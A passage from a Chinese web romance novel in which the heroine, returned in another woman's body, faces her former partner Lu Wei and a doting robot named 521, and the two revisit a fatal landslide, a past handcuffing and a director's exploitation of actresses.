现在风叶已经微微泛黄,冰箱也充斥着一股久无人用的味道,黎数站在明明几乎什么都没有变过、却又像是什么都变过的房间,只觉得自己与这一切几乎都格格不入。 到了现在,黎数也不得不叹息一句,造化弄人。 对她而言至今都不那么分明的时间,在这一刻显得格外明显。 她再一次真正意义上的意识到,时间已经过了两年了。 黎数按下了保险柜的密码。 里面还是那些东西,没有变过,一叠崭新,但版面却已经过时了的新钞,大约有三万,其余的,就是存折、银行卡,和一些贵重首饰,以及比较重要的合同、票据之类的。 她把卡和存折都取了出来,想了想,三万现金也都取走了。 不管是留还是给齐若兰,三万也不是个小数目了。 这个家,以后她可能很难再回来了。 黎数有些失落和遗憾。 存折里面夹了一张票据,黎数抽出来,本来打算放回去,但看到票据上的名字,她顿了顿,又将那张票据重新夹回了存折里。 片刻后,黎数将保险柜门锁上,旋钮重新拨到了打开之前的顺序,忽然想起来什么,走进了衣帽间。 衣帽间也她离开时也一模一样,左边是自己的衣服,右边是陆嵬的衣服,她的衣服占了大部分,中间偶尔夹杂着陆嵬的一两件,是陆嵬故意塞进来的,里面还有一个小型保险柜,里面应该有几个金条,黎数打算一并取走。 但本该只有一个换鞋凳的正中央空地上,此刻却立着一个不到她腰间的、白色的小机器人。 是关机休眠状态的521。 黎数在此刻停下了所有的动作,整个人僵直的在原地站了很久。 窗外的太阳渐渐西斜,黎数将所有的东西放到旁边的柜子上,抿着唇,喊了声:“521。” 521采有声纹自动唤醒功能,陆嵬前不久让黎数录入了。 她一开始不知道为什么早不录晚不录,偏偏是前几天莫名其妙让自己录,现在知道了。 521闻声开机。 它的大眼睛扑闪扑闪的眨着,刚一睁眼,就亲亲热热的喊道:“主人,主人,主人。” 停了停,521又立在那,用两只手模拟烟花绽放,两只眼睛弯成弧形,“小黎小黎,陆嵬说你就是我的主人,我的主人是小黎,小黎就是我的主人。” 黎数静静地站着。 521无法通过识别‘情绪’而判定一个人的开心与快乐,它不知道黎数现在的想法,只是一味的蹭到黎数身边,紧紧地贴着她的腰,快乐的说:“我等了你很久,从我出生起就一直在等你,我终于等到你啦!” 黎数想起521一直在说的主人,想起了521曾经说,自己是为了它的主人而生的,陆嵬只是它的代理主人。 黎数轻轻说:“你是陆嵬送给我的?” 521点头,电子童声很清澈的说:“对呀对呀,我就是为你而生的。小黎小黎,小黎我好喜欢你。” 黎数叹了口气。 “她是什么时候告诉你,我是你的主人的?” 521快乐的说:“就是昨天呀,她把我送来的时候,说我的主人今天会回来签收我,要我把家里都打扫好,说这里是你的家,你很喜欢的家。我终于等到你啦!” 521很快又说:“她把我从查查博士那里接回来的时候,说过你见到我一定会非常高兴,你一定会非常喜欢我,全世界没有第二个像我一样的小机器人能让你这么喜欢,你最爱我。” 黎数看着521兴奋到通红的脸,和一直弯着的眼睛,伸手拨了拨它脖子上的蝴蝶结。 之前这里是一个电子的粉色蝴蝶结,521整天挂着,她还以为是521的设定模式是小女孩,所以程序里面有‘爱美’这个选项——毕竟521需要假发、衣服、每天擦香香,和刷赛博假牙。 521牵引着黎数的手给自己解开:“陆嵬说你喜欢这样拆礼物的仪式感。” 黎数还是将那条丝带拆开了。 小机器人实在是太兴奋,情绪拟人化的也实在是太成功,有气也不应该朝着它发。 黎数把那条丝带重新还给521,然后说:“我记得你说过,你和陆嵬的定位芯片相连,有她的实时定位是吗?” 521点头,很宝贝的把那条丝带藏进了肚子里。 黎数轻轻开口:“她现在在哪?楼下还是门口?” 521摇了摇头,“可能要给你个惊喜吧,她距离我们只有5米左右。” 521感应侦测了一下楼层和热感3D建模图,片刻后,很肯定的说:“她在门外面蹲着呢。” 第48章 第四十八章【VIP】 门被从里打开。 黎数望向门口。 陆嵬一个人蜷缩在门边,身形清瘦,一米七多的个子显得只有很小一团,花白的头发乱糟糟的散落着,显得有些可怜。 楼道里的穿堂风从窗户扑来,多少吹散了些密闭的室内里的朽气和闷热,黎数拨了下黏在脖子上的发丝,和正好抬起脸的陆嵬正对。 微风静止,一切都像是被按下了定格。 两人就这么僵持着,谁都没先开口。或许是不知道要怎么说,又或者是甚至不知道从哪里开一个头。 就这么相对良久,好像时间又重新回到了客观意义上的,已经是两年前的情人节那天,同样的无言,陆嵬只静静地望着她。 黎数捏着门把的手紧了紧,又一点点松开。 电梯偶尔有运行的声音,黎数担心同一层的邻居会下来,又或是有人按错了楼层,出来看见这荒诞的一幕。 居然连担心的东西都是一样的。 这一次还是她先打破了沉默,让开了一点门边的位置,轻声说:“先进来吧。” 陆嵬下意识应了声,手撑着地面像是想要站起来。 但她不知道在外面坐了多久,又或者是手上没力气,第一下没能起来,身体晃了晃才稳住,她下意识的抬眼看黎数,表情有点委屈。 黎数垂着眼,已经转身进了门。 陆嵬迅速调整好神情,扶着墙跟着进去。 屋里实在不是一个谈话的好地方,但其实也没有什么地方能算是合适的。 黎数一开始没想多待,更不可能翻找东西的这一会功夫还把空调打开。 午后的温度升到至高点,每一次呼吸都像是要着火,汗水已经遍布了全身,让人也焦躁的连多坐一秒都像是在受刑。 陆嵬回身关上了门,没敢先进去,手扶着屋里的柜子稳了稳,眼前发黑,她没敢动。 隔着一层隐隐绰绰的隔断墙,黎数默默地看着陆嵬的身影一语不发。 等那阵眩晕和颤抖过去,陆嵬才往前走了两步,擦掉了额头上同样冒出来的虚汗,说:“热不热?” 黎数扫了她一样,眉心略皱了皱,但没说话。 陆嵬当她是默认了,打开了电闸,继而打开了空调。 很快,凉风缓慢吹出,黎数几不可查的缓缓吐出了一口气来。 521哼着歌从屋里走出来,手上居然端着两杯冷萃的茶水。 “小黎来品尝一下我特供的冷萃茶!”521又贴紧黎数的小腿,顺带勉强提了句陆嵬:“陆嵬你也别渴着。” 陆嵬没有像是以往那样对521流露出嘲讽,或是威胁521的人身安全,搞得521已经提前准备好的滑跪腹稿一时之间没有用武之地,居然还有些不适应。 她抱着黎数的腿,仰起脸,很单纯的疑惑:“你为什么不骂我?” 陆嵬兴致缺缺的看了它一眼,还是无动于衷。 521自洽的速度极快:“嘻嘻,当然是因为现在我也是有主人的机器人了。” 陆嵬还是什么都没说。 黎数摸了摸521的脑袋,“521,我和陆嵬有点事情要谈。” 521望着黎数,“是需要我关机一会吗?” 明明还是很清脆的电子音,但黎数总觉得521此刻像是父母吵架时无措的孩子。她想了想,说:“可以帮我把夏天的衣服都整理一下吗?” 521收到指令,原地向黎数敬了个礼,屏幕贴近黎数的膝盖亲亲,这才进到了卧室里。 一道门之隔,客厅彻底静了下来。 黎数握住了那杯冷茶,杯壁上升出了些水珠,触手冰凉。 很难以去形容此刻的感觉。 对于陆嵬而言,那已经是两年前发生的事情了,但对于黎数而言,事情才只过去了短暂的三个多月。 这三个月里发生的事情实在太多,原主失血过多,承受后果的人是她,每天气虚无力都是轻的、失眠多梦常有,几乎一步三喘,感觉下一秒就要晕过去。 但又必须每天几乎像是灯油一样透支着自己去点燃那一丁点星火,大脑被庞杂的信息塞满,几乎无暇他顾,还有抽出精力去应付原主难缠的家人。 紧接着,和一统的合同、和陆嵬之间的协议,没过多久,就开始进组,几乎每天脚不沾地的忙着拍戏。 看到521的那一刻,黎数觉一下,她很难以去形容那一刻的感觉,但现在想来,的。 背着这么一个天大的秘密,以后说不定每天都会游走在从前认识的人面前,说话、做事,都要尽可能的滴水不漏——但可能吗? 三个月的时间而已,她和陆,就已经被认出来了。 甚至隔着一层完全陌生的皮囊,黎数也已经尽可能切,但还是被认出来了。 明明是这么匪夷所思的事情,但21放了过来。 桌子上还放着那一小摞现金和金条,以及一张存折。保险箱是用密码解开的,甚至黎数走前还把密码拨回了开启之前的模样。 已经这样了,诡辩大家在世也无可奈何。 黎数叹了口气。 陆嵬抬起头,目光沉静且专注,短暂的几秒过后,黎数率先挪开了视线。 “你是怎么认出我的?”黎数说:“或者说,是什么时候?” 陆嵬蜷了蜷手指:“有一段时间了。” 她回忆了一会要从哪里开始讲起,过了会,低声说:“你和林辰星给黎余讲戏的那天确定的。” 黎数仔细回忆了那一天。 那一天的记忆颇深,毕竟她也就只和林辰星给黎余讲了唯一的一次戏,只一次就快把她们两个人一辈子的耐性都快耗尽了。 “就因为这个?给黎余讲戏?” 陆嵬摇了摇头:“很多。” 陆嵬自始至终垂着头,偶尔极为迅速的看一眼黎数的脸,更多的时间盯着她的手腕,和她胸口、脖子上的那两颗小痣。 这些东西来之前她完全没准备过——她从来都没想过要质问什么,又或是该说什么,事实上她预判结果的能力在面对黎数的时候就已经丢的一干二净,只剩下了走一步看一步的本能。 “你刚搬进来的时候,周姨特意问我你爱吃什么,我当时并不怎么在意,只说你籍贯在四川,从小是在那边长大的。所以周姨给你做了一顿毛血旺,但你一口没碰。那时候你说你是大病初愈,很合理,我就没在意。” “后来是元宝。”陆嵬抬头看了黎数一眼,像是有点不安,又像是怕被黎数责怪:“你失踪后的两个月,我把元宝从家里带走,但那以后元宝就开始绝食了。我没别的办法,只能给它硬灌,两年多的时间,每天都是这么过来的。” “但你出现以后,元宝就开始主动吃东西了,而且很黏你。我那时候只以为是长得太相似的缘故……” 但后来,一桩桩、一件件,由不得陆嵬多想。 不光是这些有迹可循的东西,更多的,甚至只是举手投足间的习惯,或是为人处世时的细节,都是只有极亲近的人才知道的。 陆嵬低声说:“你给黎数讲戏那天,裘夏说小黎书法写的很好,但你……” 黎数心知马脚露的有点多。 她一直有在学习瘦金体,但书法需要大量时间去练习,在剧组她也没那么多时间,因为更多的时间都是在片场,可能随叫随去。 更何况也没那么多位置和人力每天给她扛着笔墨纸砚。 陆嵬继续说:“你在和寰宇的签约合同上,签字的时候是故意用的左手,但你吃饭时的惯用手是右手。平时写字、做标记用的也是右手。那天晚上你睡着以后,裘夏带了所有小黎的资料给我看。” 有心人如果想要调查、对比,看出来差别也是很正常的事情。 黎数说:“就因为这个,你能推断出不是一个人?或许有的人就是这么神经呢,毕竟小黎年纪还小,一切都还是未知的,或许她就是喜欢想一出是一出呢?” 陆嵬这次深深的望了她一眼,然后站了起来。 黎数看着陆嵬走到身边,缓缓抬起左手,轻轻的捧住了自己的脸。 她的动作很轻,指尖只隐隐约约触及到黎数的耳廓,仅仅是这么一个简单的动作,陆嵬眼眶就红*了。 陆嵬曾经说过她眼泪天生少,没有用眼泪发泄过情绪,起码黎数从没见过陆嵬真正哭过,即便真的有眼泪,也大多时候只是把睫毛沾湿一点点,就能把情绪硬压下去。 黎数身体僵硬,手无意识的攥紧了杯子,冷凝水落了她满手,湿润的几乎抓不住。 陆嵬却没有太多的动作。 她的手只是眷恋的蹭了蹭黎数的侧脸,就向下滑落,坠在了黎数的颈侧。 那是位于锁骨交界处靠右上方一点的位置,陆嵬伸手轻轻点过,眼睛一垂,离近了点,黎数感受到陆嵬的呼吸扑在了自己的皮肤上,也感受到了陆嵬冰凉的发丝坠在了手背上。 明明是同样的沐浴露的香气,但陆嵬身上的味道总显得带些凉意。 陆嵬的手又点向了她解开扣子的胸前,还是轻轻点了一下。 借着,陆嵬半蹲下身,仰着头说:“你可能自己都没有注意到过,你的身体,已经和小黎不一样了。” 表面上的小痣只是最容易辨别的。 陆嵬说:“你的身高在这几个月里就增高了三厘米,脸还是很相似,但是已经不再像是小黎了,而是慢慢开始像你自己。521昨天来之前的最后一次对比,多方面评估过后,你和以前的相似度已经高达百分之九十三点四。” 黎数闭了闭眼,缓缓的吐出了一口气。 原来不是错觉。 她自己身上的这几颗比较明显的痣的位置,她是知道的。 因为位置都不在脸上,以前也是因为陆嵬总喜欢盯着这几个地方吻,所以她也就一直没动过去激光打掉的念头。 第一次她察觉自己在长高、身体各方面的尺寸也在慢慢变化的时候,就隐约到了一丝不对,但因为小黎毕竟才刚刚十八岁,还在生长期,所以黎数就没多想。 忘记了还有521的存在了,她是可以精准检测出人的成长变化以及各项数值的。 陆嵬的脸埋在了黎数的腿上。 黎数下意识抬起了一只手,那一瞬间说不清楚是要把陆嵬推开,还是习惯性的想去抚摸陆嵬的头发。 但最终黎数没有推开她,因为她察觉到了自己腿上传来的炽热湿润的感觉。 陆嵬跪在她身侧,抱住了她的小腿,说话的声音哽咽含糊:“但是我不能确定,即便是所有证据都摆在我面前我也不能确定,以前不是没有和你相似的人故意模仿你,我根本不敢相信这是真的,你让我怎么去相信,一个活生生的人会变成另外一个毫无瓜葛的人?” “我没办法确认自己是不是出现了幻觉,又是不是我自己多想了,更没办法确定你是不是真的回来。我试探了那么多次,你每一次都有合适的理由和借口,每一次都解释的滴水不漏,我越拼命去找证据,你就越谨慎到不漏一丁点蛛丝马迹给我……” 陆嵬抬起头,漂亮的眼里蓄满了泪水,“你问我怎么认出你的,什么时候认出你的,我随便都可以说一个时间给你,可如果你不承认,那一切就都是假的,就都是不成立的……” 黎数低着头,望着陆嵬哭的满脸的泪水,眼眶不受控制的有些刺痛。 她从没看到过陆嵬哭的这么伤心的样子。 以前陆嵬即便情绪再低落,也就是冷着脸玩植物大战僵尸和切西瓜,最多半小时左右就差不多可以消气。 自己不忙的时候,陆嵬就会黏人的一直要抱着,也不说话,就像是大型玩偶一样非要塞进自己怀里,一句话也不说,但一定走到哪跟到哪。 这是她第一次情绪这么外泄。 黎数的手轻轻地搭在了陆嵬的手臂上,这一刻她甚至不敢去看陆嵬的眼泪。 七年的感情到底不是假的,可曾经的伤害也不是假的。 陆嵬睁大了眼,察觉出黎数要推开自己的迹象,一言不发的抱住了她的腿,黎数推了一下,没推动,就停下了动作。 陆嵬像是抱着最后一棵浮木的溺水者,拼了命的不想松开手,她想要试图去说些什么,可又好像什么都不能说,也不该说,不配说。 黎数最后轻轻拍了拍陆嵬的手臂:“不要这样,你先起来。” 陆嵬不肯松手,怕一松手就再也没有机会了。 黎数就没再勉强。 陆嵬哑声说:“你从一开始就没有打算过告诉我,对不对?” 黎数没说话。 陆嵬仰起头,不闪不避的直视着黎数:“如果不是我自己发现了,如果不是我今天逼得你不得不承认,你是不是就打算一直这么伪装下去,等到合同到期的那一天,你的目的达到以后,就会毫不留恋的彻底消失,连说一声再见的机会都不给我?” 黎数沉默了片刻,过了会后她摇了摇头,说:“我和你说过再见。” 陆嵬脸倏地一白。 黎数低声说,“对你来说,那一天可能隔的太远,已经有些记不清了,但对于我来说,才只过了几个月。小嵬,我那天就说过,要么解开手铐,要么我们分手。是你选择了后者。” 心脏像是被一把巨大的尖刀划过,自上而下的产生了一个巨大的裂口,血肉撕裂般的剧痛让陆嵬说不出一个字来。 “我们之间,也算是正式告别过。”黎数顿了顿,说:“醒来以后我去调查过泥石流那天的受灾程度,那样的天灾下,即便你不把我拷在那,我后面也还有戏要拍,我逃不了。全剧组的人都死了,这件事情和你没什么关系,你不需要自责。” 陆嵬的手脱离的下滑了一瞬,她做好了所有认错谢罪的打算,做好了迎接一切难堪的准备,痛骂、怨恨,什么都好,但唯一没想到,是黎数根本不在意。 乱糟糟的脑子居然在极短暂的一瞬间清明了一些——她脑海中浮现出的唯一一句话就是:黎数从来言出必行,她说分手,就没有转圜的余地。 这世界上会有人真正能放弃生的希望?哪怕只有一丝生机呢? 陆嵬脸色苍白:“不可能,如果你当时没被我拷着,如果当初你能有机会离开呢?如果你当时在拍戏,第一时间察觉到了就往外跑,万一能幸存了呢?” 黎数打断她:“没有那个机会。我只看过网上的视频,但你是去过受灾现场的。山体滑坡、崩塌、洪水、地裂并发,不是单纯的低级地震,何况我们当时是在山里,整座山都变成平地了,我就算是跑的再快,也不可能十几秒跑出一整座山。” 黎数察觉到震动的第一时间就睁开了眼,但也不过只往前跑了几步就失去了意识。 比起深陷在泥土里,被压迫、窒息、痛苦而死,黎数宁可直接死掉。 那一次受灾群众最终高达十余万人,受到波及的村落足有上百个,至今为止都还有许多地方没能重建完成,只能住在政|府搭建的板房。 整个城市的经济发展直接倒退几十年,直接经济损失高达数十亿。 黎数甚至在想,如果不是陆嵬离开时是开着车走的,否则可能要和她一起变亡命鸳鸯。 陆嵬还想再说什么,黎数紧接着说:“我和你之间的问题,从来都不是这一场意外灾害。” 沉默了几秒,陆嵬有点机械的抬起了头。 黎数闭了闭眼,破着洞流着血的伤口还没愈合就再一次被撕开,她也难堪。 面对陆嵬,黎数再一次旧事重提:“顾宗年和金凰奖,你为什么都要插手,还有,你找替身到底是因为什么。” 沉默十几秒,陆嵬嘴唇动了数次,但最终还是紧紧皱起眉毛:“他不是一个好人。” 黎数尽可能保持着平和:“电影电视圈都分等级,导演、演员都不例外,顾导和费导各自所属派系,近些年来可以说是掌控了所有春节档资源,两人几乎包揽了票房冠军,你方唱罢我登场,但费导旗下演员并没有形成固定班底,她更在乎电影本身,也不为演员的后续发展付任何责任。” 陆嵬点点头。 黎数皱了皱眉:“顾导近些年几乎每年都有一部春节档,无一例外都是系列片,旗下演员基本固定,超一线的老演员带新,新人不需要多少历练,就可以靠着他的电影一步登天,最差也能混到二线,他很会造神。” “到了他们这种位置的,没有绝对意义上的好人与坏人,费导组下也并不都是乌托邦,背后都是一层层分割不开的利益关系。” 陆嵬抬起头,幽幽的看了黎数一眼,轻声说:“你当时的事业进到了瓶颈期,费导已经给不了你什么了,我知道你需要岑巡,这个角色从事实内容上来讲,是女一,但顾宗年早就已经江郎才尽了。这两年他不再是票房神话,手下也已经抬不起新人了,老人有心脱离,他需要用《真凶》去重新复刻从前的辉煌,但他拍不出《真凶》的内核,他只会把《真凶》变成一个笑话。” 黎数淡淡说道:“但你把角色给了沈凝雪。” 陆嵬没接这个话茬,重复起她唯二两次和黎数提起顾宗年时重复的一句话:“不是凝雪姐也会是别人,谁都可以跟他合作,但你不行。” 黎数皱起了眉毛,“到底是因为什么?” 陆嵬说:“你知道《校园禁区》吗?” 黎数明显一愣,意识到了什么,迟疑地说:“知道。” 陆嵬重新把头埋在了黎数的腿上,转而说起黎数和林辰星在车上的对话。 “你们那天说的,我都听到了。”陆嵬说:“即便你已经知道梅蓝雨现在的发展,但如果当时《校园禁区》找上的是你,你还是会选择去,是吗?” 黎数沉默了下来。 《校园禁区》是让顾宗年彻底奠定神格的一部戏,让他二次获得终身成就奖,他的能力不容忽视。 但不得不否认,《校园禁区》的成功,有相当大一部分的原因,是因为献祭了女演员,以及色|欲的加持,使这部片子自一出世,便被定在了‘艺术殿堂’上。 即便到现在已经过了十几年,《校园禁区》背后所代表的千禧年校园暴力的乱象和血淋淋的、毫不遮掩的伤害也会被数次拿出来当警示宣传。 陆嵬低声说:“顾宗年曾经放话,那一届金凰奖的得主将直接得到出演他电影的机会,他那时候只有《真凶》一部戏在筹备,但《真凶》会变成下一个色|情版本的《校园禁区》,你会变成下一个梅蓝雨,从此以后,你会被打上艳星的标签。” 陆嵬深吸了一口气,把脸贴在黎数的腿上,一字一句都像是剜心泣血:“典礼前我拦不住你,典礼后也保不住你。” 甚至最后都是我害死了你。 陆嵬的眼泪再一次汹涌倾泻,黎数还活着,不管多匪夷所思,多惊世骇俗,可这一刻,黎数是真真正正的还活着。 第49章 第四十九章【VIP】 黎数的手最终还是落在了陆嵬的头发上,用很轻的力道轻轻的拍了拍。 陆嵬于朦朦胧胧中睁开了眼,然而此刻包裹着她的却不是安心也不是宽恕,而是焦心和惶恐。 黎数垂着头,低声说:“你可以直接告诉我。” 陆嵬嘴唇动了动,声音变得痛苦:“你会听吗?” 黎数一瞬间滞住了。 陆嵬语气变得飘忽,说不清的委屈:“你根本就不会听我的。从前你跟我说的最多的两个字就是听话。” 黎数微微动了动,莫名的,听到陆嵬带着点控诉的话,她有一点心虚。 她和陆嵬认识的时候,陆嵬十八岁,自己二十五岁。 七岁的年龄差距,她在剧组讨生活的时候,陆嵬还没有毕业。 虽然已经在一起了,但她已经习惯性的把陆嵬当成了妹妹一样去照顾,直到现在,她都还以为陆嵬只是一个不成熟的小朋友。 陆嵬没有注意到这一丁点的动作:“当时的你会怎么想?站在你当时的角度上,岑巡这个角色我给了凝雪姐,颁奖典礼已经是你唯一的、可以破局的希望了,费导能给你的角色加成已经到了上限,她拍了一辈子的戏,习惯了某一个样子的表现形式,自己也到了前所未有的瓶颈期,人总有力所不能及。两年前她也有了长期休息的计划,金凰奖你要去,也必须去。” 那一夜的每一字、每一句,都像是噩梦一样,缠绕了陆嵬整整两年。 “即便是我告诉你了,你当时又会怎么做?”陆嵬哽咽着说:“你当时跟我说,拿到金凰奖以后,你能接触到的剧本也就更多、更精,你不可能会放弃,我也拦不住你。” 黎数没法否认,因为陆嵬说的是事实。 她因为费鹤鸣的戏和陆嵬结缘,也因为费鹤鸣的戏有了点热度,自此成为费鹤鸣很多电影下的御用角色,很多戏都有她的存在。 可也就是这样,黎数很难接触到除费鹤鸣以外的电影导演,也不会是大多导演第一时间会考虑的对象。 因为只要找了黎数来,那就一定会被拉去和费鹤鸣对比——国内市场,有几个人敢说比费鹤鸣会拍? 坦白来说,以黎数的天分和演技,在无数次出演过费鹤鸣的电影以后,真的还能看得上那些粗制滥造的小电影和做工很差的电视剧吗? 看不上的。 她没有所谓‘演技派’的傲气,可娱乐圈有演技、又漂亮,背靠大公司的女演员实在是太多了,黎数不是不可被替代的。 或许就像是很多人曾经惋惜过的那样,说黎数只是缺了点运气。 可真的只是单纯的运气吗? 可能是,也可能不是。 但即便是现在让她自己来说,也依然不知道自己到底缺了什么。 每年都有从龙套开始、从山村出来的女演员大火出圈,也有外形普通,但演技精湛的女演员靠角色大火,从此以后一帆风顺,直接接触到了光看阵容、就知道一定可以拿奖的本子。 可就在黎数久不得突破的当口下,费鹤鸣有了隐退的打算。 黎数说:“我当时,也没有别的办法了。” 陆嵬说:“我知道。” 人想要向下兼容是一件很难的事。 她知道真正专业的剧组是什么样子,也知道花钱就能进的剧组又是什么样子。 习惯了山珍海味的人,不可能吃得下带着泥巴的窝头和划嗓子的野菜,喝惯了纯净水的人也不可能喝得下恒河里脏污的泥水。 费鹤鸣一旦隐退,黎数将要面临的最坏的结果,就是无戏可拍。 黎数的神情隐没在了阴影中,过了片刻,她略显疲惫的点了点头,说道:“但你说得对。” 即便不是颁奖典礼前一天晚上,是随便的另外一个时间,就这件事情而言,她和陆嵬之间是无法达成共识的。 “你有你的理由,我也有我的坚持。我也相信那一天一定是发生了什么,你才会半夜突然到我们剧组,或许就像是你说的那样,顾导突然放了话,你突然知道了消息。” 黎数的声音轻轻的,像是在斟酌着说什么,“那一天的争吵,我们两个是避不开的。” 陆嵬痛苦的握住了黎数的手,黎数没有挣开。 那一天的一切都太仓促了。 陆嵬突然赶到,甚至来不及多说两句话就又匆匆离开,黎数也无心多问,只剩下了满腔愤怒。 人做所有事情,黎数未必不会把陆嵬的话听进去,但即便真的听进去了,事情也未必 没有人会相信一个导演会用一部作品去开玩笑,毕竟那不是他一个人的一言堂,从上到下千百个人,每一个参与的主创背后都要复杂的利益纠纷。 也没有一个演程碑存在的诱惑。 黎数也不可能相信,顾宗年那样的人,会针对自己,去设 这件事情本身就是一个无解的死局,也没有人能够真正预料到,不同的选择过后,又会有什么样的局面。 这一刻她忽然想玫会不会原谅林婉。 当时的确不是错觉,陆嵬是借白玫和林婉的事情来问她。 林婉做的一切使白玫的努力付之一炬,背叛白玫的初衷明明是为了保护,却使得两个人全都走向了背道而驰的深渊。 看到林婉尸体的那一刻,白玫是怎么想的呢? 其实答案很明显,那也是黎数一直在做的。 黎数迟缓的眨了下眼睛,说:“你当时问我的问题,我现在可以告诉你答案了。” 话题突然跳跃,陆嵬一时没跟上,下意识的问了句:“什么?” 黎数笑了笑,伸手擦掉了陆嵬的眼泪,手又从她的脸颊绕到了后脑勺,顺着她长长的发丝向下轻轻地顺。 陆嵬喉咙发哽,就这么仰望着黎数此刻甚至称得上是温柔的表情。 “你当时问我白玫会不会原谅林婉。”黎数轻叹:“对于白玫而言,原谅与否其实已经不重要了,林婉已经死了。她要做的,只是继续往下走而已。” 所以事隔经年,再去讨论事情的对错已经没有任何用处了,不过是徒劳之下的徒增烦恼。 陆嵬表情滞了滞,忍不住追问:“到底是不重要还是不原谅?” 黎数摇了摇头,露出了一个模式化的浅笑。 有的话彼此心知肚明,追问下去也不会有结果,没有结果有时候就是结果。 陆嵬心头顿时就空了,喃喃道:“我有时候真的想问你是不是真的爱我……你到底真的在乎过我吗?” 一字一句都是午夜梦回时她也想问黎数的同一句话,可从前问太矫情,现在问又说不出口。 黎数凝着笑看陆嵬,无言以对。 人生几次的大喜大悲,陆嵬说不出哪一次更痛,只知道不论哪一次,可能都是要记一辈子的阴影。 她慌的发抖,无助的抱着黎数,不肯松手,不肯放手,她不知道黎数说继续往下走是什么意思,她只知道在黎数未来规划的路上不会再有她了。 可她又想,起码黎数活着。 明明她早些年想的最多的是,哪怕黎数不原谅她,哪怕黎数从此以后和她陌路,哪怕黎数以后喜欢上了别的人,可只要黎数活着,怎么都行,只要黎数还活着。 她愿意去找顾宗年就去,有什么后果反正自己可以一起承受着,她在国内没有任何放不下的东西,现在视讯这么发达,交通这么便捷,黎数在国内待不下去的话,想要去哪里发展都可以,自己可以陪着。 有时候陆嵬想的入神了,甚至会规划在国外的日子。 黎数去进修或拍戏,自己就可以去学煮饭,可以克服一看动画片就想睡觉的毛病,陪着黎数看她喜欢的动漫…… 视线朦胧一片,陆嵬从不知道自己原来这么爱哭。 仓促间,陆嵬的目光撇到了桌子上的现金和金条。 那一刻,陆嵬心跳如擂鼓,只知道如果就这么放手,黎数可能真的会抽身离开。 世界这么大,想要避开一个人实在是太容易了。 陆嵬忽然说:“顾宗年这次突然过来,你不想知道原因吗?” 黎数一怔,“什么意思?” 陆嵬觉得自己的大脑像是一块拼凑起来的碎玻璃,她自己都已经不知道自己此刻究竟在说什么了。 只是直觉似的说:“他是为了他六十的生日宴过来跑的这一趟,但是在去酒店之前,特意来了一趟剧组探班,你不好奇原因吗?” 陆嵬说着说着,眼睛逐渐亮了起来:“你不是还问我为什么要找一个替身吗?这一切都是因为什么,你不想知道吗?” 黎数明显一愣:“什么意思?” 陆嵬抓着黎数的手给自己擦眼泪,又自己把黎数手上沾的眼泪擦干。 但她看了黎数两眼,斟酌了一会,避开了和黎数对视,说:“你以后就会知道了。” 黎数沉默不语。 陆嵬忐忑不安。 她现在没有一丁点去要求黎数留下来的资本和资格,连问一句黎数是不是真的爱自己都没法说出口,只能用这些事情把黎数强留下。 起码这样子,黎数还能留在她身边,而不是和她彻底成为陌路。 否则她连见黎数一面的借口都难找。 她有心想把后面的一切剖开给黎数讲,可每个人都有不想说出口的秘密,她也不知道现在到底是不是最合适的机会,更不知道究竟从哪里开始讲。 黎数皱了皱眉:“顾导是为着我这个‘替身’的身份来的?” 陆嵬摇摇头,但又点了点头,低声说:“是,但也不是。《秘宝》这个片子的总编剧是秦霜,但是里面很多的内容有我的手笔,可以说顾宗年是冲着我来的,也可以说,他是冲着你来的。” 黎数忽然想起今天席位上的人,还有一个是陆嵬的生父:“那你父亲……?” 陆嵬抿了抿唇:“他们之间的利益纠葛很深,不是几句话就能说得清的。温永元是我爸的私生子,但比我大了七八岁。” 停了一会,陆嵬又说:“他也是顾宗年的干儿子。” 黎数迟疑地问:“真的干儿子还是……?” 陆嵬摇了摇头,“不知道。” 她应该也是不感兴趣,所以也没有去注意过。 黎数想了想今天席上的事情,温永元对陆嵬不算是有多大的敌意,但隐隐约约是带着点竞争的意思的。 和顾宗年之间也说不上是狎昵,甚至也没有过多的交流,只偶尔说上几句话,分寸也合适。 黎数有点头疼。 她实在是想不出来顾宗年到底要干什么,能值得三番两次的奔着她而来,而这又和《真凶》究竟有什么关系。 甚至陆茂今天的态度,明显是站在和陆嵬的对立面。 比起父女,倒像是仇人。 陆嵬提起顾宗年的时候多为疏离和厌恶,今天顾宗年再一次提起《真凶》的时候,陆嵬直接说她下一部戏在筹备,想让自己出演女一。 但没有说究竟是什么时候。 黎数先入为主的以为这部戏可能根本不存在,陆嵬这么说,更像是提前就已经准备好的说辞——一个只要《真凶》要开始寻找女主角,那陆嵬也要开始跟着一起找女主角的说辞。 轧戏的人有很多,但更多时间都在电视剧圈多,电影圈很少见,而这种行为也不可能会出现在诸如顾宗年或是费鹤鸣的剧组。 所以只要陆嵬抬了,顾宗年要么就是等,要么就是换人。 “你一开始找替身的原因,是和顾宗年有关系?”黎数皱着眉。 陆嵬‘嗯’了一声。 黎数若有所思:“还需要你和替身之间在外面营造出你们感情很好的样子,你要让全世界都认为,你是真的找了一个替身,并且是动了真感情?” 提起这事儿,陆嵬想起之前不知道黎数身份的时候大放厥词的言论,感觉脸上有点挂不住。 但很快,她想起了什么,鼓起勇气又说:“对。” 黎数冲她笑了笑。 笑的不多深,很快就停了。 过了片刻,黎数说道:“我确实很想知道这一切到底是因为什么。” 陆嵬呼吸都变得小心翼翼。 “更何况我现在的全约也在寰宇手里,协议也没到时间,就按照你一开始想做的继续做吧。” 不论是从哪一个方面看,陆嵬现在所规划好的所有的路子,不论是对于‘替身’还是对于自己来说,都是走在对发展最有利的点上。 陆嵬苍白的脸恢复了丁点的血色,不多,“你如果不愿意……协议可以随时作废。” 以进为退这招不新鲜,但好用。 黎数不是个愿意稀里糊涂被蒙在鼓里的人,她率先说:“不需要,我无所谓,你想做什么就做,我可以配合你。” 她也没有拒绝的理由,黎数不是会随便被感情左右发展的人。 说不上是开心还是失落,黎数留下不是因为她,但不论是什么,起码陆嵬的目的达到了。 陆嵬没敢得寸尽尺,但心底还是有隐秘的期待:“那像之前那样,牵你的手,对你做一些很亲密的举动……都行吗?” 黎数拍拍陆嵬的肩膀,示意她从地上起来。 大夏天的,还隔着个地毯,属实算不上凉,但在地上跪久了的确累,双腿已经麻了。 陆嵬左腿麻的似乎厉害点,半天没用上力气,只用的右腿把自己撑起来的。 皱着眉在沙发上缓了会,陆嵬又小心翼翼的打量起黎数的脸。 黎数才想起来刚刚陆嵬问她的问题,想了会说:“可以。” 